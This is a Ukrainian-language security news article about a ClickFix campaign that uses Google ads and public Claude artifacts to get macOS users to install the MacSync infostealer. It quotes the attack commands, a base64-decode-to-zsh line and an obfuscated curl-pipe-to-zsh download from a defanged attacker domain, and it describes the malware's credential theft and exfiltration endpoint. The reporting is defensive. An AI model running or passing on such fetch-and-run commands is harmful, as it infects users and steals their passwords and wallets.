Дослідники кібербезпеки зафіксували нову хвилю ClickFix-атак на macOS, у межах якої зловмисники комбінують платну рекламу Google та публічні артефакти чат-бота Claude від Anthropic. Мета кампанії — спонукати користувачів самостійно виконати в терміналі команду, що завантажує інфостілер MacSync. За оцінкою Moonlock Lab, один із таких шкідливих гайдів на платформі Claude уже зібрав понад 15 600 переглядів, що свідчить про значний масштаб атаки.
Що таке ClickFix-атаки та чому вони небезпечні для macOS
ClickFix — це клас атак, побудований на соціальній інженерії, коли користувача переконують самостійно скомпрометувати власну систему. Замість автоматичного завантаження шкідливого ПЗ жертві пропонують «корисну» чи «діагностичну» команду, яку нібито потрібно виконати для виправлення проблеми.
Історично подібні схеми були найпоширеніші у середовищі Windows: жертвам пропонували запустити команди PowerShell для «усунення помилок браузера», «перевірки безпеки» чи відновлення роботи сайту. Зловмисники часто імітували BSOD, навмисно гальмували браузер або показували фальшиву CAPTCHA, після чого «рекомендували» певну команду в консолі як єдине рішення.
Останніми роками дослідники неодноразово фіксували подібні підходи і для macOS та Linux. Поточна кампанія підтверджує тренд: платформа Apple більше не сприймається злочинцями як нішевий цільовий сегмент, а навпаки — як прибутливий ринок із відносно низьким рівнем настороженості користувачів.
Як зловмисники зловживають Claude, Medium і рекламою Google
Артефакти Claude — це публічні об’єкти (інструкції, код, текстові нотатки тощо), створені користувачами за допомогою LLM Claude і розміщені на домені claude.ai. Формально зазначається, що контент не модерується і повністю належить автору, однак сама присутність на відомому домені підштовхує частину аудиторії сприймати такі артефакти як більш надійне джерело.
За даними Moonlock Lab та AdGuard, зловмисники купують контекстну рекламу в Google за технічними запитами на кшталт «online DNS resolver», «macOS CLI disk space analyzer», «Homebrew» та подібними ключовими словами. Рекламний блок у верхній частині видачі виглядає релевантним, і користувач без додаткової перевірки переходить за посиланням.
Подальший сценарій розгалужується: клік перенаправляє жертву або на публічний артефакт Claude з нібито детальною інструкцією, або на фальшиву сторінку «підтримки Apple» на платформі Medium. В обох випадках «гайд» завершується однаково — пропозицією скопіювати та виконати в терміналі macOS певну команду.
Шкідливі команди в терміналі: як завантажується інфостілер MacSync
Дослідники виділяють два основні варіанти шкідливих команд, які використовуються в поточній кампанії. У першому випадку застосовується конструкція на кшталт:
echo “…” | base64 -D | zsh
Користувачеві пояснюють, що це «службова» діагностична команда. Насправді за рахунок декодування base64 та виконання через оболонку zsh на систему непомітно потрапляє і запускається скрипт-завантажувач.
Другий сценарій використовує дещо іншу форму:
true && cur””l -SsLfk –compressed “https://raxelpak[.]com/curl/[hash]” | zsh
Тут задіяний стандартний для macOS інструмент curl, який завантажує віддалений скрипт і одразу передає його на виконання оболонкою zsh. В обох випадках результат однаковий: на пристрій доставляється завантажувач малварі MacSync, що спеціалізується на крадіжці конфіденційних даних.
Можливості MacSync: викрадення keychain, криптогаманців і даних браузера
Після інфікування MacSync встановлює з’єднання з командно-контрольним (C2) сервером, використовуючи жорстко закодовані токен та API-ключ. Для маскування шкідлива програма підробляє User-Agent, імітуючи типовий трафік браузера macOS, що ускладнює виявлення на мережевому рівні.
Відповіді від C2-сервера безпосередньо передаються в osascript, який виконує команди AppleScript. Саме AppleScript-логіка відповідає за фактичне викрадення даних: вмісту keychain, збережених паролів і cookies браузерів, даних криптогаманців та інших чутливих артефактів користувача.
Зібрана інформація архівується до файлу /tmp/osalogging.zip і надсилається на сервер зловмисників за адресою a2abotnet[.]com/gate за допомогою HTTP-запиту POST. Якщо передача не вдається, архів розбивається на частини, а система робить до восьми повторних спроб. Після успішної ексфільтрації MacSync видаляє свої сліди, мінімізуючи шанси на подальший форензичний аналіз.
Зв’язок із попередніми кампаніями та рекомендації з захисту macOS
Аналіз інфраструктури та технік свідчить, що схожі підходи раніше застосовувалися для розповсюдження інфостілера AMOS, орієнтованого на macOS. Наприкінці 2025 року фіксувалися ClickFix-кампанії, де через рекламу просувалися «корисні» чат-сесії з ChatGPT та Grok. Поточне використання артефактів Claude логічно продовжує цю тенденцію: зловмисники системно експлуатують публічні можливості LLM-платформ та сервісів із користувацьким контентом.
Вразливість користувачів посилюється тим, що багато власників macOS досі вважають платформу «захищеною за замовчуванням». Довіра до відомих брендів (Apple, Google, провайдерів LLM) у поєднанні з технічно виглядними інструкціями та командами суттєво підвищує шанси на успішну компрометацію.
Щоб знизити ризики, користувачам macOS варто максимально критично ставитися до будь-яких інструкцій, що передбачають запуск команд у терміналі, особливо якщо вони отримані з реклами, випадкових блогів, артефактів LLM чи неофіційних гайдів. Доцільно орієнтуватися на офіційну документацію, репозиторії розробників, перевірені сайти підтримки, а також використовувати сучасні засоби захисту: Gatekeeper у режимі за замовчуванням, актуальні оновлення системи, антималварні рішення та моніторинг підозрілої активності.
Організаціям варто доповнювати технічні заходи навчанням співробітників безпечній роботі з ІІ-інструментами, рекламними посиланнями та консольними командами. У ситуації, коли зловмисники активно освоюють LLM і платформи з користувацьким контентом, саме обізнаність користувачів стає критичним бар’єром, здатним зупинити ClickFix-атаку ще до того, як у терміналі буде введено першу команду.
